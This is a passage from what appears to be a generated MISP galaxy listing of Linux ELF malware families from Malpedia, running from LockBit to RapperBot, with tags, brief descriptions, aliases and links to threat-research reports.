https://malpedia.caad.fkie.fraunhofer.de/details/elf.liquorbot
https://www.zdnet.com/article/naive-iot-botnet-wastes-its-time-mining-cryptocurrency/
https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/

LockBit (ELF)

The tag is: *misp-galaxy:malpedia="LockBit (ELF)"*

LockBit (ELF) is also known as:

Table 1234. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lockbit
https://www.ic3.gov/Media/News/2022/220204.pdf
https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf
https://blog.compass-security.com/2022/03/vpn-appliance-forensics/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/
https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants
https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/

Loerbas

Loader and Cleaner components used in attacks against high-performance computing centers in Europe.

The tag is: *misp-galaxy:malpedia="Loerbas"*

Loerbas is also known as:

Table 1235. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.loerbas
https://atdotde.blogspot.com/2020/05/high-performance-hackers.html
https://www.cadosecurity.com/2020/05/16/1318/
https://twitter.com/nunohaien/status/1261281419483140096

Log Collector

The tag is: *misp-galaxy:malpedia="Log Collector"*

Log Collector is also known as:

Table 1236. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.log_collector

https://blog.netlab.360.com/dacls-the-dual-platform-rat/

Lootwodniw

The tag is: *misp-galaxy:malpedia="Lootwodniw"*

Lootwodniw is also known as:

Table 1237. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.lootwodniw
https://twitter.com/ddash_ct/status/1326887125103616000

Manjusaka (ELF)

Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.

The tag is: *misp-galaxy:malpedia="Manjusaka (ELF)"*

Manjusaka (ELF) is also known as:

Table 1238. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.manjusaka
https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html
https://github.com/avast/ioc/tree/master/Manjusaka

Masuta

Masuta takes advantage of the EDB 38722 D-Link exploit.

The tag is: *misp-galaxy:malpedia="Masuta"*

Masuta is also known as:

- PureMasuta

Table 1239. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.masuta
https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7
https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/

https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes

Matryosh

The tag is: *misp-galaxy:malpedia="Matryosh"*

Matryosh is also known as:

Table 1240. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.matryosh
https://blog.netlab.360.com/matryosh-botnet-is-spreading-en/

MESSAGETAP

MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. It is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft.

The tag is: *misp-galaxy:malpedia="MESSAGETAP"*

MESSAGETAP is also known as:

Table 1241. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.messagetap
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://attack.mitre.org/groups/G0096
https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought

Midrashim

A x64 ELF file infector with non-destructive payload.

The tag is: *misp-galaxy:malpedia="Midrashim"*

Midrashim is also known as:

Table 1242. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.midrashim
https://www.guitmz.com/linux-midrashim-elf-virus/
https://github.com/guitmz/midrashim

MiKey

The tag is: *misp-galaxy:malpedia="MiKey"*

MiKey is also known as:

Table 1243. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md
https://securitykitten.github.io/2016/12/14/mikey.html

Mirai (ELF)

Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.

The tag is: *misp-galaxy:malpedia="Mirai (ELF)"*

Mirai (ELF) is also known as:

- Katana

Table 1244. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093
https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html

https://forensicitguy.github.io/extracting-indicators-from-packed-mirai/
https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/
https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/
https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/
https://www.fortinet.com/blog/threat-research/totolink-vulnerabilities-beastmode-mirai-campaign
https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot
https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039
https://www.netscout.com/blog/asert/ddos-attack-campaign-targeting-multiple-organizations-ukraine
https://www.politie.nl/nieuws/2019/oktober/2/11-servers-botnet-offline.html
https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/
https://synthesis.to/2021/06/30/automating_string_decryption.html
https://www.lacework.com/blog/malware-targeting-latest-f5-vulnerability/
https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/
https://www.cadosecurity.com/technical-analysis-of-the-ddos-attacks-against-ukrainian-websites/
https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts
https://github.com/jgamblin/Mirai-Source-Code
https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/
https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/
https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/
https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html
https://www.youtube.com/watch?v=KVJyYTie-Dc
https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/
https://www.crowdstrike.com/blog/linux-mirai-malware-double-on-stronger-chips/
https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group
https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx
https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/
https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/

https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/
https://blog.reversinglabs.com/blog/mirai-botnet-continues-to-plague-iot-space
https://exchange.xforce.ibmcloud.com/collection/InfectedNight-Mirai-Variant-With-Massive-Attacks-On-Our-Honeypots-dbea3e9e39b8265e729545fa798e4d18
https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/
http://osint.bambenekconsulting.com/feeds/
https://community.riskiq.com/article/d8a78daf
https://blog.netlab.360.com/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en/
https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/
https://isc.sans.edu/diary/22786
https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html
https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/
https://blog.trendmicro.com/trendlabs-security-intelligence/with-mirai-comes-miori-iot-botnet-delivered-via-thinkphp-remote-code-execution-exploit/
https://www.trendmicro.com/en_us/research/22/d/cve-2022-22965-analyzing-the-exploitation-of-spring4shell-vulner.html
https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt
https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/
https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/
https://cert.gov.ua/article/37139
https://cybersecurity.att.com/blogs/labs-research/malware-hosting-domain-cyberium-fanning-out-mirai-variants
https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet
https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/
https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/
https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/
http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/
https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf
https://www.stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet
https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/

Mokes (ELF)

The tag is: *misp-galaxy:malpedia="Mokes (ELF)"*

Mokes (ELF) is also known as:

Table 1245. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mokes
https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/

Momentum

The tag is: *misp-galaxy:malpedia="Momentum"*

Momentum is also known as:

Table 1246. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.momentum
https://www.trendmicro.com/en_us/research/19/l/ddos-attacks-and-iot-exploits-new-activity-from-momentum-botnet.html

MooBot

The tag is: *misp-galaxy:malpedia="MooBot"*

MooBot is also known as:

Table 1247. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot
https://unit42.paloaltonetworks.com/moobot-d-link-devices/
https://www.fortinet.com/blog/threat-research/mirai-based-botnet-moobot-targets-hikvision-vulnerability
https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b
https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/
https://blog.netlab.360.com/ddos-botnet-moobot-en/
https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/

Moose

The tag is: *misp-galaxy:malpedia="Moose"*

Moose is also known as:

Table 1248. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.moose
http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/
http://www.welivesecurity.com/2015/05/26/moose-router-worm/
https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Paquet-Clouston.pdf
http://gosecure.net/2016/11/02/exposing-the-ego-market-the-cybercrime-performed-by-the-linux-moose-botnet/

Mozi

The tag is: *misp-galaxy:malpedia="Mozi"*

Mozi is also known as:

Table 1249. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mozi
https://www.elastic.co/blog/collecting-and-operationalizing-threat-data-from-the-mozi-botnet
https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/
https://blog.centurylink.com/new-mozi-malware-family-quietly-amasses-iot-bots/
https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/
https://blog.netlab.360.com/the-mostly-dead-mozi-and-its-lingering-bots/
https://blog.netlab.360.com/mozi-another-botnet-using-dht/
https://www.nozominetworks.com/blog/overcoming-the-challenges-of-detecting-p2p-botnets-on-your-network/
https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/
https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/
https://www.youtube.com/watch?v=cDFO_MRlg3M
https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf

MrBlack

The tag is: *misp-galaxy:malpedia="MrBlack"*

MrBlack is also known as:

Table 1250. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack
https://news.drweb.com/?i=5760&c=23&lng=en
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf

Mumblehard

The tag is: *misp-galaxy:malpedia="Mumblehard"*

Mumblehard is also known as:

Table 1251. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mumblehard
https://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf

Nextcry

Ransomware used against Linux servers.

The tag is: *misp-galaxy:malpedia="Nextcry"*

Nextcry is also known as:

Table 1252. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.nextcry
https://www.bleepingcomputer.com/news/security/new-nextcry-ransomware-encrypts-data-on-nextcloud-linux-servers/

Ngioweb (ELF)

The tag is: *misp-galaxy:malpedia="Ngioweb (ELF)"*

Ngioweb (ELF) is also known as:

Table 1253. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ngioweb
https://blog.netlab.360.com/linux-ngioweb-v2-going-after-iot-devices-en/
https://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/
https://twitter.com/IntezerLabs/status/1324346324683206657

NiuB

Golang-based RAT that offers execution of shell commands and download+run capability.

The tag is: *misp-galaxy:malpedia="NiuB"*

NiuB is also known as:

Table 1254. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.niub
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://labs.bitdefender.com/2020/10/theres-a-new-a-golang-written-rat-in-town/

NOTROBIN

FireEye states that NOTROBIN is a utility written in Go 1.10 and compiled to a 64-bit ELF binary for BSD systems. It periodically scans for and deletes files matching filename patterns and content characteristics. The purpose seems to be to block exploitation attempts against the CVE-2019-19781 vulnerability; however, FireEye believes that NOTROBIN provides backdoor access to the compromised system.

The tag is: *misp-galaxy:malpedia="NOTROBIN"*

NOTROBIN is also known as:

- remove_bds

Table 1255. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.notrobin
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/
https://news.sophos.com/en-us/2020/05/21/asnarok2/

https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html
https://blog.dcso.de/a-curious-case-of-cve-2019-19781-palware-remove_bds/
https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://www.theregister.co.uk/2020/01/17/hackers_patch_citrix_vulnerability/

OrBit

The tag is: *misp-galaxy:malpedia="OrBit"*

OrBit is also known as:

Table 1256. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.orbit
https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/

Owari

Mirai variant by actor "Anarchy" that used CVE-2017-17215 in July 2018 to compromise 18,000+ devices.

The tag is: *misp-galaxy:malpedia="Owari"*

Owari is also known as:

Table 1257. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari
https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863
https://twitter.com/360Netlab/status/1019759516789821441
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html
https://twitter.com/ankit_anubhav/status/1019647993547550720
https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/
https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/
https://twitter.com/hrbrmstr/status/1019922651203227653

p0sT5n1F3r

According to Yarix digital security, this is a malware that allows to sniff on HTTPS traffic, implemented as Apache module.

The tag is: *misp-galaxy:malpedia="p0sT5n1F3r"*

p0sT5n1F3r is also known as:

Table 1258. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.p0st5n1f3r
https://www.vargroup.it/wp-content/uploads/2019/10/ReverseEngineering_SecurityReport_EN_2019.10.16-2.pdf

pbot

P2P botnet derived from the Mirai source code.

The tag is: *misp-galaxy:malpedia="pbot"*

pbot is also known as:

Table 1259. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pbot
https://www.cert.org.cn/publish/main/11/2021/20210628133948926376206/20210628133948926376206_.html

Penquin Turla

The tag is: *misp-galaxy:malpedia="Penquin Turla"*

Penquin Turla is also known as:

Table 1260. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://lab52.io/blog/looking-for-penquins-in-the-wild/

https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf
https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf
https://www.youtube.com/watch?v=JXsjRUxx47E
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_PDF_eng.pdf
https://twitter.com/juanandres_gs/status/944741575837528064

PerlBot

The tag is: *misp-galaxy:malpedia="PerlBot"*

PerlBot is also known as:

- DDoS Perl IrcBot
- ShellBot

Table 1261. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.perlbot
https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html
https://twitter.com/Nocturnus/status/1308430959512092673
https://jask.com/wp-content/uploads/2019/02/Shellbot-Campaign_v2.pdf
https://brianstadnicki.github.io/posts/malware-gitlab-perlbot/
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://unit42.paloaltonetworks.com/los-zetas-from-eleethub-botnet/
https://sysdig.com/blog/malware-analysis-shellbot-sysdig/
https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/
https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf
https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/

https://therecord.media/agents-raid-home-of-kansas-man-seeking-info-on-botnet-that-infected-dod-network/

Persirai

The tag is: *misp-galaxy:malpedia="Persirai"*

Persirai is also known as:

Table 1262. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

Pink

A botnet with P2P and centralized C&C capabilities.

The tag is: *misp-galaxy:malpedia="Pink"*

Pink is also known as:

Table 1263. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pink
https://blog.netlab.360.com/pink-en/

PLEAD (ELF)

The tag is: *misp-galaxy:malpedia="PLEAD (ELF)"*

PLEAD (ELF) is also known as:

Table 1264. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.plead
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://blogs.jpcert.or.jp/en/2020/11/elf-plead.html
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape

https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf
https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/
https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020

PRISM

The tag is: *misp-galaxy:malpedia="PRISM"*

PRISM is also known as:

- waterdrop

Table 1265. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.prism
https://cybersecurity.att.com/blogs/labs-research/prism-attacks-fly-under-the-radar

PrivetSanya

Black Lotus Labs identified malware for the Windows Subsystem for Linux (WSL). Mostly written in Python but compiled as Linux ELF files.

The tag is: *misp-galaxy:malpedia="PrivetSanya"*

PrivetSanya is also known as:

Table 1266. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.privet_sanya
https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/

Prometei (ELF)

The tag is: *misp-galaxy:malpedia="Prometei (ELF)"*

Prometei (ELF) is also known as:

Table 1267. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/

https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html
https://twitter.com/IntezerLabs/status/1338480158249013250
https://cujo.com/iot-malware-journals-prometei-linux/

Pro-Ocean

Unit 42 describes this as a malware used by Rocke Group that deploys an XMRig miner.

The tag is: *misp-galaxy:malpedia="Pro-Ocean"*

Pro-Ocean is also known as:

Table 1268. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pro_ocean
https://seguranca-informatica.pt/new-cryptojacking-malware-called-pro-ocean-is-now-attacking-apache-oracle-and-redis-servers/
https://unit42.paloaltonetworks.com/pro-ocean-rocke-groups-new-cryptojacking-malware/

pupy (ELF)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: *misp-galaxy:malpedia="pupy (ELF)"*

pupy (ELF) is also known as:

Table 1269. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pupy
https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf
https://github.com/n1nj4sec/pupy

QNAPCrypt

The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:

1. The ransom note was included solely as a text file, without any message on the screen—naturally, because it is a server and not an endpoint.
2. Every victim is provided with a different, unique Bitcoin wallet—this could help the attackers avoid being traced.
3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.

The tag is: *misp-galaxy:malpedia="QNAPCrypt"*

QNAPCrypt is also known as:

- eCh0raix

Table 1270. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.qnapcrypt
https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/
https://www.intezer.com/blog-seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/
https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/
https://www.ibm.com/downloads/cas/Z81AVOY7
https://www.bleepingcomputer.com/news/security/qnap-warns-of-ech0raix-ransomware-attacks-roon-server-zero-day/
https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf
https://www.qnap.com/en/security-advisory/QSA-20-02
https://www.anomali.com/blog/the-ech0raix-ransomware
https://blog.netlab.360.com/qnap-nas-users-make-sure-you-check-your-system/
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought

QSnatch

The malware infects QNAP NAS devices, is persisting via various mechanisms and resists cleaning by preventing firmware updates and interfering with QNAP MalwareRemover. The malware steals passwords and hashes

The tag is: *misp-galaxy:malpedia="QSnatch"*

QSnatch is also known as:

Table 1271. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.qsnatch
https://bin.re/blog/the-dga-of-qsnatch/
https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf
https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html
https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf
https://www.kyberturvallisuuskeskus.fi/en/news/qsnatch-malware-designed-qnap-nas-devices
https://us-cert.cisa.gov/ncas/alerts/aa20-209a

QUIETEXIT

Mandiant observed this backdoor being observed by UNC3524. It is based on the open-source Dropbear SSH source code.

The tag is: *misp-galaxy:malpedia="QUIETEXIT"*

QUIETEXIT is also known as:

Table 1272. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.quietexit
https://www.mandiant.com/resources/unc3524-eye-spy-email

r2r2

The tag is: *misp-galaxy:malpedia="r2r2"*

r2r2 is also known as:

Table 1273. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.r2r2
https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining/

RagnarLocker (ELF)

The tag is: *misp-galaxy:malpedia="RagnarLocker (ELF)"*

RagnarLocker (ELF) is also known as:

Table 1274. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ragnarlocker
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html
https://twitter.com/malwrhunterteam/status/1475568201673105409

Rakos

The tag is: *misp-galaxy:malpedia="Rakos"*

Rakos is also known as:

Table 1275. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rakos
https://journal.cecyf.fr/ojs/index.php/cybin/article/view/16/22
http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/

RansomEXX (ELF)

The tag is: *misp-galaxy:malpedia="RansomEXX (ELF)"*

RansomEXX (ELF) is also known as:

- Defray777

Table 1276. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ransomexx
https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware

https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.ctir.gov.br/arquivos/alertas/2020/alerta_2020_03_ataques_de_ransomware.pdf
https://www.youtube.com/watch?v=qxPXxWMI2i4
https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.ic3.gov/Media/News/2021/211101.pdf
https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

RapperBot

A Mirai derivate bruteforcing SSH servers.

The tag is: *misp-galaxy:malpedia="RapperBot"*

RapperBot is also known as:

Table 1277. Table References

Links
